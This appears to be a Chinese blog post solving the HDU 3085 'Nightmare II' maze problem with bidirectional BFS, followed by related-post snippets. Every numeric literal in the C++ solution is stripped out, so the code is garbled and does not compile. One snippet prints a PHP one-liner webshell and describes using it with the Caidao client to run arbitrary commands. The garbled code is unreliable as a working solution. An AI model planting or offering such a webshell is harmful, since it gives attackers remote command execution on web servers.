Nightmare Ⅱ

Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others) Total Submission(s): 886    Accepted Submission(s): 185

Problem Description
Last night, little erriyue had a horrible nightmare. He dreamed that he and his girl friend were trapped in a big maze separately. More terribly, there are two ghosts in the maze. They will kill the people. Now little erriyue wants to know if he could find his girl friend before the ghosts find them. You may suppose that little erriyue and his girl friend can move in 4 directions. In each second, little erriyue can move 3 steps and his girl friend can move 1 step. The ghosts are evil, every second they will divide into several parts to occupy the grids within 2 steps to them until they occupy the whole maze. You can suppose that at every second the ghosts divide firstly then the little erriyue and his girl friend start to move, and if little erriyue or his girl friend arrive at a grid with a ghost, they will die. Note: the new ghosts also can devide as the original ghost.
 
Input
The input starts with an integer T, means the number of test cases. Each test case starts with a line contains two integers n and m, means the size of the maze. (1<n, m<800) The next n lines describe the maze. Each line contains m characters. The characters may be: ‘.’ denotes an empty place, all can walk on. ‘X’ denotes a wall, only people can’t walk on. ‘M’ denotes little erriyue ‘G’ denotes the girl friend. ‘Z’ denotes the ghosts. It is guaranteed that will contain exactly one letter M, one letter G and two letters Z.
 
Output
Output a single integer S in one line, denotes erriyue and his girlfriend will meet in the minimum time S if they can meet successfully, or output -1 denotes they failed to meet.
 
Sample Input
3 5 6 XXXXXX XZ..ZX XXXXXX M.G... ...... 5 6 XXXXXX XZZ..X XXXXXX M..... ..G... 10 10 .......... ..X....... ..M.X...X. X......... .X..X.X.X. .........X ..XX....X. X....G...X ...ZX.X... ...Z..X..X
 
Sample Output
1 1 -1
 
Author
二日月
 
 
 
 
双向BFS第一题,刚开始每次拓展节点WA了,其实应该是每次拓展一层。写的时候忘了优先拓展队列元素的少的那一边,不过没T,以后写的时候再加入吧。
这题最让我郁闷的是,读图的时候每次读入一个符号,即scanf(" %c",&MAP[i][j])这样,居然T了,调了半天,最后改成每次读入一行后过了,甚是不解啊
 #include <iostream>
#include <cmath>
#include <cstring>
#include <cstdio>
#include <queue>
using namespace std; const int SIZE = ;
const int UPDATE[][] = {{-,},{,},{,-},{,}};
int N,M;
int STEP;
int MAP[SIZE][SIZE];
int VIS_1[SIZE][SIZE],VIS_2[SIZE][SIZE];
int Z_X_1,Z_Y_1,Z_X_2,Z_Y_2; struct Node
{
int x,y;
bool check(void)
{
if(x >= && x <= N && y >= && y <= M && MAP[x][y] != 'X'
&& (abs(Z_X_1 - x) + abs(Z_Y_1 - y) > * STEP)
&& (abs(Z_X_2 - x) + abs(Z_Y_2 - y) > * STEP))
return true;
return false;
}
}; int dbfs(Node boy,Node girl);
int main(void)
{
int t,ans,flag;
Node boy,girl;
char s[SIZE]; scanf("%d",&t);
while(t --)
{
flag = ;
scanf("%d%d",&N,&M);
getchar();
for(int i = ;i <= N;i ++)
{
scanf("%s",&s[]);
for(int j = ;j <= M;j ++)
{
MAP[i][j] = s[j];
if(MAP[i][j] == 'M')
{
boy.x = i;
boy.y = j;
}
else if(MAP[i][j] == 'G')
{
girl.x = i;
girl.y = j;
}
else if(MAP[i][j] == 'Z' && flag)
{
Z_X_1 = i;
Z_Y_1 = j;
flag = ;
}
else if(MAP[i][j] == 'Z')
{
Z_X_2 = i;
Z_Y_2 = j;
}
}
} ans = dbfs(boy,girl);
printf("%d\n",ans);
} return ;
} int dbfs(Node boy,Node girl)
{
memset(VIS_1,,sizeof(VIS_1));
memset(VIS_2,,sizeof(VIS_2));
VIS_1[boy.x][boy.y] = ;
VIS_2[girl.x][girl.y] = ;
STEP = ; queue<Node> que_boy,que_girl;
que_boy.push(boy);
que_girl.push(girl); while()
{
for(int i = ;i < ;i ++)
{
int size = que_boy.size();
while(size --)
{
Node old = que_boy.front();
que_boy.pop();
if(!old.check())
continue; for(int j = ;j < ;j ++)
{
Node cur = old; cur.x += UPDATE[j][];
cur.y += UPDATE[j][];
if(!cur.check() || VIS_1[cur.x][cur.y])
continue;
if(VIS_2[cur.x][cur.y])
return STEP; VIS_1[cur.x][cur.y] = ;
que_boy.push(cur);
}
}
} if(que_girl.empty() && que_boy.empty())
return -;
if(que_girl.empty())
continue; int size = que_girl.size();
while(size --)
{
Node old = que_girl.front();
que_girl.pop();
if(!old.check())
continue; for(int j = ;j < ;j ++)
{
Node cur = old; cur.x += UPDATE[j][];
cur.y += UPDATE[j][];
if(!cur.check() || VIS_2[cur.x][cur.y])
continue;
if(VIS_1[cur.x][cur.y])
return STEP; VIS_2[cur.x][cur.y] = ;
que_girl.push(cur);
}
}
STEP ++;
} return -;
}

HDU 3085 Nightmare Ⅱ (双向BFS)的更多相关文章

  1. HDU 3085 Nightmare Ⅱ 双向BFS

    题意:很好理解,然后注意几点,男的可以一秒走三步,也就是三步以内的都可以,鬼可以穿墙,但是人不可以,鬼是一次走两步 分析:我刚开始男女,鬼BFS三遍,然后最后处理答案,严重超时,然后上网看题解,发现是 ...

  2. Nightmare Ⅱ HDU - 3085 (双向bfs)

    Last night, little erriyue had a horrible nightmare. He dreamed that he and his girl friend were tra ...

  3. HDU - 3085 Nightmare Ⅱ

    HDU - 3085 Nightmare Ⅱ 双向BFS,建立两个队列,让男孩女孩一起走 鬼的位置用曼哈顿距离判断一下,如果该位置与鬼的曼哈顿距离小于等于当前轮数的两倍,则已经被鬼覆盖 #includ ...

  4. HDU 3085 Nightmare Ⅱ(噩梦 Ⅱ)

    HDU 3085 Nightmare Ⅱ(噩梦 Ⅱ) Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 65536/65536 K (Ja ...

  5. HDU 3085 Nightmare II 双向bfs 难度:2

    http://acm.hdu.edu.cn/showproblem.php?pid=3085 出的很好的双向bfs,卡时间,普通的bfs会超时 题意方面: 1. 可停留 2. ghost无视墙壁 3. ...

  6. HDU 3085 Nightmare Ⅱ(双向BFS)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=3085 题目大意:给你一张n*m地图上,上面有有 ‘. ’:路 ‘X':墙 ’Z':鬼,每秒移动2步,可 ...

  7. HDU3085 Nightmare Ⅱ —— 双向BFS + 曼哈顿距离

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=3085 Nightmare Ⅱ Time Limit: 2000/1000 MS (Java/Other ...

  8. 2017多校第10场 HDU 6171 Admiral 双向BFS或者A*搜索

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=6171 题意: 给你一个高度为6的塔形数组,你每次只能将0与他上下相邻的某个数交换,问最少交换多少次可以 ...

  9. HDU 1242 -Rescue (双向BFS)&amp;&amp;( BFS+优先队列)

    题目链接:Rescue 进度落下的太多了,哎╮(╯▽╰)╭,渣渣我总是埋怨进度比别人慢...为什么不试着改变一下捏.... 開始以为是水题,想敲一下练手的,后来发现并非一个简单的搜索题,BFS做肯定出 ...

随机推荐

  1. LightOJ 1074 Extended Traffic (最短路spfa+标记负环点)

    Extended Traffic 题目链接: http://acm.hust.edu.cn/vjudge/contest/122685#problem/O Description Dhaka city ...

  2. HDU 5775 Bubble Sort (线段树)

    Bubble Sort 题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5775 Description P is a permutation of t ...

  3. CodeForces 689D Friends and Subsequences (RMQ+二分)

    Friends and Subsequences 题目链接: http://acm.hust.edu.cn/vjudge/contest/121333#problem/H Description Mi ...

  4. TTL电平、CMOS电平、RS232电平的区别

    工作中遇到一个关于电平选择的问题,居然给忘记RS232电平的定义了,当时无法反应上来,回来之后查找资料才了解两者之间的区别,视乎两年多的时间,之前非常熟悉的一些常识也开始淡忘,这个可不是一个好的现象. ...

  5. HDU 5754 Life Winner Bo (找规律and博弈)

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=5754 给你四种棋子,棋子一开始在(1,1)点,两个人B和G轮流按每种棋子的规则挪动棋子,棋子只能往右下 ...

  6. AngularJS~集成的ajax和服务的注入

    AngularJS很美,以至于迷倒了不少年青人和我这位大叔,它的美不仅仅是在写法上,而且在设计方法上都进乎于完美,用什么服务就注入什么服务,这样方法本来就很直观,程序员感觉直观了,程序在运行起来也按需 ...

  7. iOS开发-数据持久化

    iOS中四种最常用的将数据持久存储在iOS文件系统的机制 前三种机制的相同点都是需要找到沙盒里面的Documents的目录路径,附加自己相应的文件名字符串来生成需要的完整路径,再往里面创建.读取.写入 ...

  8. GitHub托管项目步骤

    1.打开Git Shell ,进入你要托管的项目目录里.然后输入git init ,该项目下就会多一个.git文件夹 2.点击add,然后再path里面输入你项目的,git文件夹目录地址.如下: 3. ...

  9. 关于php一句话免杀的分析<转载>

    一开始想这样:   <?php $_GET['ts7']($_POST['cmd']);?> 客户端用菜刀,密码cmd,url为test.php?ts7=assert   这个应该算没有什 ...

  10. 【OSG】osgText::Text 研究

    由于需要在3D坐标轴上显示刻度值,所以要用到osgText::Text,这里简单记录一下其常见用法. 一.基本知识 常见设置 设置字体:setFont 设置内容:setText,这里输入参数需要是os ...